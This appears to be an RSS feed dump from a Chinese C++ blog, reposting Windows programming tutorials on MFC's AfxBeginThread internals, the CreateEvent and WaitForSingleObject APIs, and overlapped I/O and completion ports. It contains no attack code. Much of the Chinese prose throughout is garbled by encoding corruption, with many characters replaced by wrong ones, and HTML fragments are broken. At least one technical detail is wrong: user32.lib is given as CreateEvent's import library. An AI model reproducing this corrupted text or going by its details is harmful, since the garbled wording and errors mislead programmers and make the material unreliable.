<br><br>q正是IOCP的奥妙所在。IOCP不是一个普通的对象Q不需要考虑U程安全问题。它会自动调配访问它的线E:如果某个socket上有一个线EA正在讉KQ那么线EB的访问请求会被分配到另外一个socket。这一切都是由pȝ自动调配的,我们无需q问?/div> </div> </td> </tr> </tbody> </table> <img src ="http://www.shnenglu.com/twzheng/aggbug/24508.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.shnenglu.com/twzheng/" target="_blank">谭文?/a> 2007-05-21 01:46 <a href="http://www.shnenglu.com/twzheng/articles/24508.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[转]AfxBeginThread函数初探http://www.shnenglu.com/twzheng/articles/23440.html谭文?/dc:creator>谭文?/author>Sat, 05 May 2007 05:42:00 GMThttp://www.shnenglu.com/twzheng/articles/23440.htmlhttp://www.shnenglu.com/twzheng/comments/23440.htmlhttp://www.shnenglu.com/twzheng/articles/23440.html#Feedback0http://www.shnenglu.com/twzheng/comments/commentRss/23440.htmlhttp://www.shnenglu.com/twzheng/services/trackbacks/23440.htmlAfxBeginThread函数初探
版权所?codesky.net 2003-2005
发表旉Q?005-1-16    关键字:不详

在进行多U程E序设计的时?我们l常用到AfxBeginThread函数来启动一条线E?br>该函C用v来非常的单方?其定义如?

CWinThread* AfxBeginThread(
   AFX_THREADPROC pfnThreadProc,//U程函数地址
   LPVOID pParam,//U程参数
   int nPriority = THREAD_PRIORITY_NORMAL,//U程优先U?br>   UINT nStackSize = 0,//U程堆栈大小,默认?M
   DWORD dwCreateFlags = 0,//
   LPSECURITY_ATTRIBUTES lpSecurityAttrs = NULL
);

CWinThread* AfxBeginThread(
   CRuntimeClass* pThreadClass,
   int nPriority = THREAD_PRIORITY_NORMAL,
   UINT nStackSize = 0,
   DWORD dwCreateFlags = 0,
   LPSECURITY_ATTRIBUTES lpSecurityAttrs = NULL
);

参数说明:
pfnThreadProc:U程函数的地址,该参C能设|ؓNULL,U程函数必须定义成全局函数或者类的静态成员函?br>例如:
UINT myThreadFunc(LPVOID lparam)
或?br>class A
{
public:
        static UINT __stdcall myThreadFunc(LPVOID lparam);
}
之所以要定义成类的静态成员函?是因为类的静态成员函C属于某个cd?q样在调用函?br>的时候就不用传递一个额外的this指针.

pThreadClass:指向从CWinThreadz的子cd象的RUNTIME_CLASS

pParam:要传递给U程函数的参?/p>

nPriority:要启动的U程的优先,默认优先UؓTHREAD_PRIORITY_NORMAL(普通优先),关于U程
 优先U的详细说明请参考Platform SDK SetThreadPriority函数说明

nStackSize:新线E的堆栈大小,如果讄?,则用默认大?在应用程序中一般情况下U程的默认堆栈大?br> ?M

dwCreateFlags:U程创徏标志,该参数可以指定ؓ下列标志
 CREATE_SUSPENDED:以挂h式启动线E?如果你在U程启动之前惛_始化一些CWinThreadcM的一些成员变?br> 比如:m_bAutoDelete或者你的派生类中的成员变量,当初始化完成之后,你可以用CWinThreadcȝResumeThread
 成员函数来恢复线E的q行
 如果把该标志讄?,则表C立卛_动线E?br>lpSecurityAttrs:指向安全描述W的指针,如果使用默认的安全别只要讲该参数设|ؓNULL可以了!

上面是AfxBeginThread函数的简单说?我们在用的时候一般情况下只要指定前两个参?其他
参数使用默认值就可以.?的确,使用h是很?只要q个函数一被调?创Z一个线E?
但是大家有没有想q?AfxBeginThread函数I竟是如何启动的U程?它的内部是如何实现的?

下面我们来看一下AfxBeginThread函数的内部实?/p>

//启动workerU程
CWinThread* AFXAPI AfxBeginThread(AFX_THREADPROC pfnThreadProc, LPVOID pParam,
 int nPriority, UINT nStackSize, DWORD dwCreateFlags,
 LPSECURITY_ATTRIBUTES lpSecurityAttrs)
{
#ifndef _MT
         pfnThreadProc;
         pParam;
         nPriority;
         nStackSize;
         dwCreateFlags;
         lpSecurityAttrs;

         return NULL;
#else
         ASSERT(pfnThreadProc != NULL);

         CWinThread* pThread = DEBUG_NEW CWinThread(pfnThreadProc, pParam);
         ASSERT_VALID(pThread);

         if (!pThread->CreateThread(dwCreateFlags|CREATE_SUSPENDED, nStackSize,
                  lpSecurityAttrs))
         {
                  pThread->Delete();
                  return NULL;
         }
         VERIFY(pThread->SetThreadPriority(nPriority));
         if (!(dwCreateFlags & CREATE_SUSPENDED))
                  VERIFY(pThread->ResumeThread() != (DWORD)-1);

         return pThread;
#endif //!_MT)
}

//启动UIU程
CWinThread* AFXAPI AfxBeginThread(CRuntimeClass* pThreadClass,
 int nPriority, UINT nStackSize, DWORD dwCreateFlags,
 LPSECURITY_ATTRIBUTES lpSecurityAttrs)
{
#ifndef _MT
        pThreadClass;
        nPriority;
        nStackSize;
        dwCreateFlags;
        lpSecurityAttrs;

        return NULL;
#else
        ASSERT(pThreadClass != NULL);
        ASSERT(pThreadClass->IsDerivedFrom(RUNTIME_CLASS(CWinThread)));

        CWinThread* pThread = (CWinThread*)pThreadClass->CreateObject();
        if (pThread == NULL)
                AfxThrowMemoryException();
        ASSERT_VALID(pThread);

        pThread->m_pThreadParams = NULL;
        if (!pThread->CreateThread(dwCreateFlags|CREATE_SUSPENDED, nStackSize,
                lpSecurityAttrs))
        {
                pThread->Delete();
                return NULL;
        }
        VERIFY(pThread->SetThreadPriority(nPriority));
        if (!(dwCreateFlags & CREATE_SUSPENDED))
                VERIFY(pThread->ResumeThread() != (DWORD)-1);

        return pThread;
#endif //!_MT
}

从上面的代码中可以看出AfxBeginThread所做的事情主要有以下几?

1.在heap中配|一个新的CWinThread对象(workerU程)
代码?CWinThread* pThread = DEBUG_NEW CWinThread(pfnThreadProc, pParam);
调用CRuntimeClassl构中的CreateObject函数创徏CWinThread对象
CWinThread* pThread = (CWinThread*)pThreadClass->CreateObject();
CRuntimeClass以及MFC相关cȝ内部实现,详情请参?br>《深入浅出MFC》侯捯

2.调用CWinThread::CreateThread()q设定属?使线E以挂v状态?br>pThread->CreateThread(dwCreateFlags|CREATE_SUSPENDED, nStackSize,lpSecurityAttrs);

3.讑֮U程的优先权
pThread->SetThreadPriority(nPriority);

4.调用CWinThread::ResumeThread
pThread->ResumeThread();

通过上面的说?我想大家对该函数到底在内部都做了什?应该有一个初步的了解?
对于VC老手来说,q篇文章可能q没有什么可M?但是对于初学者来?q是有一定的
价值的!
M,希望q篇文章能给各位一点点的帮?



]]>
CreateEvent 函数http://www.shnenglu.com/twzheng/articles/23439.html谭文?/dc:creator>谭文?/author>Sat, 05 May 2007 05:25:00 GMThttp://www.shnenglu.com/twzheng/articles/23439.htmlhttp://www.shnenglu.com/twzheng/comments/23439.htmlhttp://www.shnenglu.com/twzheng/articles/23439.html#Feedback0http://www.shnenglu.com/twzheng/comments/commentRss/23439.htmlhttp://www.shnenglu.com/twzheng/services/trackbacks/23439.htmlCreateEvent 函数

函数功能描述Q创建或打开一个命名的或无名的事g对象
函数原型Q?br>HANDLE CreateEvent(
  LPSECURITY_ATTRIBUTES lpEventAttributes,   // 安全属?br>  BOOL bManualReset,   // 复位方式
  BOOL bInitialState,   // 初始状?br>  LPCTSTR lpName   // 对象名称
);

参数Q?br>
lpEventAttributesQ?br>      [输入]一个指向SECURITY_ATTRIBUTESl构的指针,定q回的句柄是否可被子q程l承。如果lpEventAttributes是NULLQ此句柄不能被ѝ?br>      Windows NT/2000QlpEventAttributes的结构中的成员ؓ新的事g指定了一个安全符。如果lpEventAttributes是NULLQ事件将获得一个默认的安全W?br>
bManualResetQ?br>      [输入]指定事件对象创建成手动复原q是自动复原。如果是TRUEQ那么必ȝResetEvent函数来手工将事g的状态复原到无信L态。如果设|ؓFALSEQ当事g被一个等待线E释放以后,pȝ会自动事件状态复原ؓ无信L态?br>
bInitialStateQ?br>      [输入]指定事g对象的初始状态。如果ؓTRUEQ初始状态ؓ有信L态;否则为无信号状态?br>
lpNameQ?br>      [输入]指定事g的对象的名称Q是一个以0l束的字W串指针。名U的字符格式限定在MAX_PATH之内。名字是对大写敏感的?br>      如果lpName指定的名字,与一个存在的命名的事件对象的名称相同Q函数将hEVENT_ALL_ACCESS来访问存在的对象。这时候,׃bManualReset和bInitialState参数已经在创Z件的q程中设|,q两个参数将被忽略。如果lpEventAttributes是参C是NULLQ它确定此句柄是否可以被承,但是其安全描q符成员被忽略?br>      如果lpName为NULLQ将创徏一个无名的事g对象?br>      如果lpName的和一个存在的信号、互斥、等待计时器、作业或者是文g映射对象名称相同Q函数将会失败,在GetLastError函数中将q回ERROR_INVALID_HANDLE。造成q种现象的原因是q些对象׃n同一个命名空间?br>
      l端服务(Terminal Services)Q名UC可以加入"Global\"或是"Local\"的前~Q这样可以明的对象创建在全局的或事务的命名空间。名U的其它部分除了反斜?\)Q可以用Q意字W。详l内容可参考Kernel Object Name Spaces?br>      Windows 2000Q在Windows 2000pȝ中,没有l端服务q行Q?Global\"?Local\"前缀被忽略。名U的其它部分除了反斜?\)Q可以用Q意字W?br>      Windows NT 4.0以及早期版本, Windows 95/98Q名UC除了反斜?\)Q可以用Q意字W?br>
q回|
       如果函数调用成功Q函数返回事件对象的句柄。如果对于命名的对象Q在函数调用前已l被创徏Q函数将q回存在的事件对象的句柄Q而且在GetLastError函数中返回ERROR_ALREADY_EXISTS?br>      如果函数p|Q函数返回gؓNULLQ如果需要获得详l的错误信息Q需要调用GetLastError?br>
备注Q?br>      调用CreateEvent函数q回的句柄,该句柄具有EVENT_ALL_ACCESS权限去访问新的事件对象,同时它可以在M有此事g对象句柄的函C使用?br>      在调用的q程中,所有线E都可以在一个等待函C指定事g对象句柄。当指定的对象的状态被|ؓ有信L态时Q单对象{待函数返回?br>      对于多对象等待函敎ͼ可以指定ZQ意或所有指定的对象被置为有信号状态。当{待函数q回Ӟ{待U程被释放ȝl运行?br>      初始状态在bInitialState参数中进行设|。用SetEvent函数事件对象的状态置为有信号状态。用ResetEvent函数事件对象的状态置为无信号状态?br>      当一个手动复原的事g对象的状态被|ؓ有信L态时Q该对象状态将一直保持有信号状态,直至明确调用ResetEvent函数其|ؓ无符L态?br>      当事件的对象被置为有信号状态时QQ意数量的{待中线E,以及随后开始等待的U程均会被释放?br>      当一个自动复原的事g对象的状态被|ؓ有信L态时Q该对象状态将一直保持有信号状态,直至一个等待线E被释放;pȝ自动将此函数置为无W号状态。如果没有等待线E正在等待,事g对象的状态将保持有信L态?br>      多个q程可持有同一个事件对象的多个句柄Q可以通过使用此对象来实现q程间的同步。下面的对象׃n机制是可行的Q?br>      ·在CreateEvent函数中,lpEventAttributes参数指定句柄可被l承Ӟ通过CreateProcess函数创徏的子q程l承的事件对象句柄?br>      ·一个进E可以在DuplicateHandle函数中指定事件对象句柄,从而获得一个复制的句柄Q此句柄可以被其它进E用?br>      ·一个进E可以在OpenEvent或CreateEvent函数中指定一个名字,从而获得一个有名的事g对象句柄?br>
      使用CloseHandle函数关闭句柄。当q程停止Ӟpȝ自动关闭句柄。当最后一个句柄被关闭后,事g对象被销毁?br>
使用环境Q?br>      Windows NT/2000Q需?.1或更高版?br>      Windows 95/98Q需要Windows 95或更高版?br>      头文Ӟ定义在Winbase.hQ需要包?Windows.h?br>      导入库:user32.lib
      UnicodeQ在Windows NT/2000中,?Unicode ?ANSI 执行

参考:
      Synchronization Overview, Synchronization Functions, CloseHandle, CreateProcess, DuplicateHandle, OpenEvent, ResetEvent, SECURITY_ATTRIBUTES, SetEvent, Object Names

CZ代码Q?br>      // 创徏一个有名的Q不能被l承的,手动复原Q初始状态是无信L态的事g对象
      Handle h = CreateEvent(NULL,TRUE,FALSE,“MyEvent”);



]]>
WaitForSingleObject的用?/title><link>http://www.shnenglu.com/twzheng/articles/21029.html</link><dc:creator>谭文?/dc:creator><author>谭文?/author><pubDate>Sat, 31 Mar 2007 16:04:00 GMT</pubDate><guid>http://www.shnenglu.com/twzheng/articles/21029.html</guid><wfw:comment>http://www.shnenglu.com/twzheng/comments/21029.html</wfw:comment><comments>http://www.shnenglu.com/twzheng/articles/21029.html#Feedback</comments><slash:comments>2</slash:comments><wfw:commentRss>http://www.shnenglu.com/twzheng/comments/commentRss/21029.html</wfw:commentRss><trackback:ping>http://www.shnenglu.com/twzheng/services/trackbacks/21029.html</trackback:ping><description><![CDATA[<h2 class=diaryTitle>WaitForSingleObject的用?nbsp;                                      </h2> <p> </p> <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><strong><span lang=en style="FONT-SIZE: 8.5pt; COLOR: black; FONT-FAMILY: Verdana">WaitForSingleObject</span> </strong><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: " ?="" times="" new="" roman='?;=""' mso-hansi-font-family:=""><font size=3>的用?/font> </span></p> <pre style="BACKGROUND: #dddddd"> <strong> <span lang=en style="FONT-SIZE: 8.5pt; COLOR: black">DWORD</span></strong><span lang=en style="FONT-SIZE: 8.5pt; COLOR: black"> <strong>WaitForSingleObject(</strong></span><span lang=en style="FONT-SIZE: 8.5pt; COLOR: black"><span style="mso-spacerun: yes"> </span> <strong>                     HANDLE </strong><em><span style="mso-field-code: " hyperlink="" ????=""><span id="c24o2s4" class=MsoHyperlink><span style="COLOR: #0040ff; TEXT-DECORATION: none; text-underline: none"><u>hHandle</u></span></span></span></em><strong>,</strong></span><span lang=en style="FONT-SIZE: 8.5pt; COLOR: black"><span style="mso-spacerun: yes">  </span> <strong>                     DWORD </strong><u><em><span style="mso-field-code: " hyperlink="" ????=""><span id="2a4qo2g" class=MsoHyperlink><span style="COLOR: #0040ff; TEXT-DECORATION: none; text-underline: none">dwMilliseconds</span></span></span></em></u></span> <strong> <span lang=en style="FONT-SIZE: 8.5pt; COLOR: black">                  );</span></strong></pre> <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: " ?="" times="" new="" roman='?;=""' mso-hansi-font-family:=""><font size=3>参数</font> </span><em><span lang=en style="FONT-SIZE: 8.5pt; COLOR: black; FONT-FAMILY: Verdana">hHandle</span> </em><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: " ?="" times="" new="" roman='?;=""' mso-hansi-font-family:=""><font size=3>是一个事件的句柄Q第二个参数</font> </span><em><span lang=en style="FONT-SIZE: 8.5pt; COLOR: black; FONT-FAMILY: Verdana">dwMilliseconds</span> </em><font size=3><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: " ?="" times="" new="" roman='?;=""' mso-hansi-font-family:="">是时间间隔。如果时间是有信L态返?/span> <span lang=en><font face="Times New Roman">WAIT_OBJECT_0</font> </span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: " ?="" times="" new="" roman='?;=""' mso-hansi-font-family:="">Q如果时间超q?/span> </font><em><span lang=en style="FONT-SIZE: 8.5pt; COLOR: black; FONT-FAMILY: Verdana">dwMilliseconds</span> </em><font size=3><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: " ?="" times="" new="" roman='?;=""' mso-hansi-font-family:="">g旉事gq是无信L态则q回</span> <span lang=en><font face="Times New Roman">WAIT_TIMEOUT</font> </span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: " ?="" times="" new="" roman='?;=""' mso-hansi-font-family:="">?br></span></font><em><span lang=en style="FONT-SIZE: 8.5pt; COLOR: black; FONT-FAMILY: Verdana"><br>hHandle</span> </em><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: " ?="" times="" new="" roman='?;=""' mso-hansi-font-family:=""><font size=3>可以是下列对象的句柄Q?br></font></span><span lang=en style="FONT-SIZE: 9pt; COLOR: black; FONT-FAMILY: Arial">Change notification <br>Console input <br>Event <br>Job <br>Memory resource notification <br>Mutex <br>Process <br>Semaphore <br>Thread <br>Waitable timer </span> </p> <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt 0.05pt"><span lang=en style="FONT-SIZE: 9pt; COLOR: black; FONT-FAMILY: Arial">WaitForSingleObject</span> <span style="FONT-FAMILY: 宋体; mso-ascii-font-family: " ?="" times="" new="" roman='?;=""' mso-hansi-font-family:=""><font size=3>函数用来?/font> </span><em><span lang=en style="FONT-SIZE: 8.5pt; COLOR: black; FONT-FAMILY: Verdana">hHandle</span> </em><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: " ?="" times="" new="" roman='?;=""' mso-hansi-font-family:=""><font size=3>事g的信L态,当函数的执行旉过</font> </span><em><span lang=en style="FONT-SIZE: 8.5pt; COLOR: black; FONT-FAMILY: Verdana">dwMilliseconds</span> </em><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: " ?="" times="" new="" roman='?;=""' mso-hansi-font-family:=""><font size=3>p回,但如果参?/font> </span><em><span lang=en style="FONT-SIZE: 8.5pt; COLOR: black; FONT-FAMILY: Verdana">dwMilliseconds</span> </em><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: " ?="" times="" new="" roman='?;=""' mso-hansi-font-family:=""><font size=3>?/font> </span><em><span lang=en style="FONT-SIZE: 8.5pt; COLOR: black; FONT-FAMILY: Verdana">INFINITE</span> </em><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: " ?="" times="" new="" roman='?;=""' mso-hansi-font-family:=""><font size=3>时函数将直到相应旉事g变成有信L态才q回Q否则就一直等待下去,直到</font> </span><span lang=en style="FONT-SIZE: 9pt; COLOR: black; FONT-FAMILY: Arial">WaitForSingleObject</span> <span style="FONT-FAMILY: 宋体; mso-ascii-font-family: " ?="" times="" new="" roman='?;=""' mso-hansi-font-family:=""><font size=3>有返回直才执行后面的代码。在q里举个例子Q?/font> </span></p> <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt 21pt; TEXT-INDENT: -21pt; mso-char-indent-count: -2.0; tab-stops: 96.75pt"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: " ?="" times="" new="" roman='?;=""' mso-hansi-font-family:=""><font size=3>先创Z个全局</font> </span><span lang=en style="FONT-SIZE: 9pt; COLOR: black; FONT-FAMILY: Arial">Event</span> <font size=3><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: " ?="" times="" new="" roman='?;=""' mso-hansi-font-family:="">对象</span> <span lang=en><font face="Times New Roman">g_event:</font> </span></font></p> <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt 21pt; TEXT-INDENT: -21pt; mso-char-indent-count: -2.0; tab-stops: 96.75pt"><span lang=en><font size=3><font face="Times New Roman"><span style="mso-spacerun: yes">    </span>CEvent g_event;</font> </font></span></p> <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt 21pt; TEXT-INDENT: -21pt; mso-char-indent-count: -2.0; tab-stops: 96.75pt"><font size=3><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: " ?="" times="" new="" roman='?;=""' mso-hansi-font-family:="">在程序中可以通过调用</span> <span lang=en><font face="Times New Roman">CEvent::SetEvent</font> </span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: " ?="" times="" new="" roman='?;=""' mso-hansi-font-family:="">讄事g为有信号状态?/span> </font></p> <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt 21pt; tab-stops: 96.75pt; mso-para-margin-left: 2.0gd"><font size=3><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: " ?="" times="" new="" roman='?;=""' mso-hansi-font-family:="">下面是一个线E函?/span> <span lang=en><font face="Times New Roman">MyThreadPro()</font> </span></font></p> <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><span lang=en style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋? mso-hansi-font-family: ; mso-font-kerning: 0pt" times="" new="" roman='??=""'>UINT CFlushDlg::MyThreadProc( LPVOID pParam ) <br></span><span lang=en style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋? mso-hansi-font-family: ; mso-font-kerning: 0pt" times="" new="" roman='??=""'>{</span> <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><span lang=en style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋? mso-hansi-font-family: ; mso-font-kerning: 0pt" times="" new="" roman='??=""'><span style="mso-tab-count: 1">     </span>WaitForSingleObject(g_event,INFINITE);<br></span><span lang=en style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋? mso-hansi-font-family: ; mso-font-kerning: 0pt" times="" new="" roman='??=""'><span style="mso-tab-count: 1">     </span>For(;;)<br></span><span lang=en style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋? mso-hansi-font-family: ; mso-font-kerning: 0pt" times="" new="" roman='??=""'><span style="mso-spacerun: yes">        </span>{ <br></span><span lang=en style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋? mso-hansi-font-family: ; mso-font-kerning: 0pt" times="" new="" roman='??=""'><span style="mso-spacerun: yes">         </span></span><span lang=en style="FONT-SIZE: 9pt; mso-ascii-font-family: 新宋? mso-font-kerning: 0pt; mso-fareast-font-family: 新宋?><font face="Times New Roman">…………</font> </span><span lang=en style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋? mso-hansi-font-family: ; mso-font-kerning: 0pt" times="" new="" roman='??=""'>.</span> <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><span lang=en style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋? mso-hansi-font-family: ; mso-font-kerning: 0pt" times="" new="" roman='??=""'><span style="mso-spacerun: yes">        </span>} <br></span><span lang=en style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋? mso-hansi-font-family: ; mso-font-kerning: 0pt" times="" new="" roman='??=""'><span style="mso-tab-count: 1">     </span><span style="COLOR: blue">return</span> 0; <br></span><span lang=en style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋? mso-hansi-font-family: ; mso-font-kerning: 0pt" times="" new="" roman='??=""'>} </span> <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; tab-stops: 96.75pt"><font size=3><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: " ?="" times="" new="" roman='?;=""' mso-hansi-font-family:="">在这个线E函C只有讄</span> <span lang=en><font face="Times New Roman">g_event</font> </span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: " ?="" times="" new="" roman='?;=""' mso-hansi-font-family:="">为有信号状态时才执行下面的</span> <span lang=en><font face="Times New Roman">for</font> </span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: " ?="" times="" new="" roman='?;=""' mso-hansi-font-family:="">循环Q因?/span> <span lang=en><font face="Times New Roman">g_event</font> </span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: " ?="" times="" new="" roman='?;=""' mso-hansi-font-family:="">是全局变量Q所以我们可以在别的U程中通过</span> <span lang=en><font face="Times New Roman">g_event. SetEvent</font> </span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: " ?="" times="" new="" roman='?;=""' mso-hansi-font-family:="">控制q个U程?/span></font></p> <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; tab-stops: 96.75pt"><font size=3><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: " ?="" times="" new="" roman='?;=""' mso-hansi-font-family:="">q有一U用法就是我们可以通过</span> <span lang=en><font face="Times New Roman">WaitForSingleObject</font> </span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: " ?="" times="" new="" roman='?;=""' mso-hansi-font-family:="">函数来间隔的执行一个线E函数的函数?/span> </font></p> <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><span lang=en><span style="mso-spacerun: yes"><font face="Times New Roman" size=3>     </font></span></span><span lang=en style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋? mso-hansi-font-family: ; mso-font-kerning: 0pt" times="" new="" roman='??=""'>UINT CFlushDlg::MyThreadProc( LPVOID pParam )<br></span><span lang=en style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋? mso-hansi-font-family: ; mso-font-kerning: 0pt" times="" new="" roman='??=""'>{ <br></span><span lang=en style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋? mso-hansi-font-family: ; mso-font-kerning: 0pt" times="" new="" roman='??=""'><span style="mso-tab-count: 1">     </span><span style="COLOR: blue">while</span>(WaitForSingleObject(g_event,MT_INTERVAL)!=WAIT_OBJECT_0)<br></span><span lang=en style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋? mso-hansi-font-family: ; mso-font-kerning: 0pt" times="" new="" roman='??=""'><span style="mso-tab-count: 1">     </span>{<br></span><span lang=en style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋? mso-hansi-font-family: ; mso-font-kerning: 0pt" times="" new="" roman='??=""'><span style="mso-tab-count: 2">         </span></span><font face="Times New Roman"><span lang=en style="FONT-SIZE: 9pt; COLOR: blue; mso-ascii-font-family: 新宋? mso-font-kerning: 0pt; mso-fareast-font-family: 新宋?>………………</span> </font> <br><span lang=en style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋? mso-hansi-font-family: ; mso-font-kerning: 0pt" times="" new="" roman='??=""'><span style="mso-tab-count: 1">     </span>} <br></span><span lang=en style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋? mso-hansi-font-family: ; mso-font-kerning: 0pt" times="" new="" roman='??=""'><span style="mso-tab-count: 1">     </span><span style="COLOR: blue">return</span> 0;<br></span><span lang=en style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋? mso-hansi-font-family: ; mso-font-kerning: 0pt" times="" new="" roman='??=""'>} </span>  <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; tab-stops: 96.75pt"><font size=3><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: " ?="" times="" new="" roman='?;=""' mso-hansi-font-family:="">在这个线E函C可以可以通过讄</span> <span lang=en><font face="Times New Roman">MT_INTERVAL</font> </span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: " ?="" times="" new="" roman='?;=""' mso-hansi-font-family:="">来控制这个线E的函数体多久执行一ơ,当事件ؓ无信L态时函数体隔</span> <span lang=en><font face="Times New Roman">MT_INTERVAL</font> </span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: " ?="" times="" new="" roman='?;=""' mso-hansi-font-family:="">执行一ơ,当设|事件ؓ有信L态时Q线E就执行完毕了?/span> </font></p> <img src ="http://www.shnenglu.com/twzheng/aggbug/21029.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.shnenglu.com/twzheng/" target="_blank">谭文?/a> 2007-04-01 00:04 <a href="http://www.shnenglu.com/twzheng/articles/21029.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[摘录]Windows完成端口~程http://www.shnenglu.com/twzheng/articles/20520.html谭文?/dc:creator>谭文?/author>Sat, 24 Mar 2007 03:37:00 GMThttp://www.shnenglu.com/twzheng/articles/20520.htmlhttp://www.shnenglu.com/twzheng/comments/20520.htmlhttp://www.shnenglu.com/twzheng/articles/20520.html#Feedback0http://www.shnenglu.com/twzheng/comments/commentRss/20520.htmlhttp://www.shnenglu.com/twzheng/services/trackbacks/20520.html一 基本概念
?OVERLAPPED数据l构
?完成端口的内部机?br>   1、创建完成端?br>   2、完成端口线E的工作原理
   3?nbsp;U程间数据传?br>   4、线E的安全退?br>
一 基本概念
       讑֤---windows操作pȝ上允讔R信的Q何东西,比如文g、目录、串行口、ƈ行口、邮件槽、命名管道、无名管道、套接字、控制台、逻辑盘、物理磁盘等。绝大多C讑֤打交道的函数都是CreateFile/ReadFile/WriteFile{。所以我们不能看?*File函数只惛_文g讑֤?br>       与设备通信有两U方式,同步方式和异步方式。同步方式下Q当调用ReadFile函数Ӟ函数会等待系l执行完所要求的工作,然后才返回;异步方式下,ReadFileq类函数会直接返回,pȝ自己d成对讑֤的操作,然后以某U方式通知完成操作?br>       重叠I/O----֐思义Q当你调用了某个函数Q比如ReadFileQ就立刻q回做自q其他动作的时候,同时pȝ也在对I/0讑֤q行你要求的操作Q在q段旉内你的程序和pȝ的内部动作是重叠的,因此有更好的性能。所以,重叠I/O是用于异步方式下使用I/O讑֤的?br>       重叠I/O需要用的一个非帔R要的数据l构OVERLAPPED?br>       完成端口---是一UWINDOWS内核对象。完成端口用于异步方式的重叠I/0情况下,当然重叠I/O不一定非使用完成端口不可Q还有设备内核对象、事件对象、告警I/0{。但是完成端口内部提供了U程池的理Q可以避免反复创建线E的开销Q同时可以根据CPU的个数灵zȝ军_U程个数Q而且可以让减线E调度的ơ数从而提高性能?br>
?OVERLAPPED数据l构
typedef struct _OVERLAPPED {
    ULONG_PTR Internal;          //被系l内部赋|用来表示pȝ状?br>    ULONG_PTR InternalHigh;   // 被系l内部赋|传输的字节数
    union {
        struct {
            DWORD Offset;            //和OffsetHigh合成一?4位的整数Q用来表CZ文g头部的多字节开?br>            DWORD OffsetHigh;     //操作Q如果不是对文gI/O来操作,则必设定ؓ0
        };
        PVOID Pointer;
    };
    HANDLE  hEvent;               //如果不用,务必设?,否则误一个有效的Event句柄
} OVERLAPPED, *LPOVERLAPPED;

下面是异步方式用ReadFile的一个例?br>OVERLAPPED Overlapped;
Overlapped.Offset=345;
Overlapped.OffsetHigh=0;
Overlapped.hEvent=0;
//假定其他参数都已l被初始?br>ReadFile(hFile,buffer,sizeof(buffer),&dwNumBytesRead,&Overlapped);

q样完成了异步方式L件的操作Q然后ReadFile函数q回Q由操作pȝ做自q事情?br>下面介绍几个与OVERLAPPEDl构相关的函?br>{待重叠I/0操作完成的函?br>BOOL GetOverlappedResult (
HANDLE hFile,
LPOVERLAPPED lpOverlapped,//接受q回的重叠I/0l构
LPDWORD lpcbTransfer,            //成功传输了多字节数
BOOL fWait                                //TRUE只有当操作完成才q回QFALSE直接q回Q如果操作没有完成,通过?/用GetLastError ( )函数会返回ERROR_IO_INCOMPLETE
);
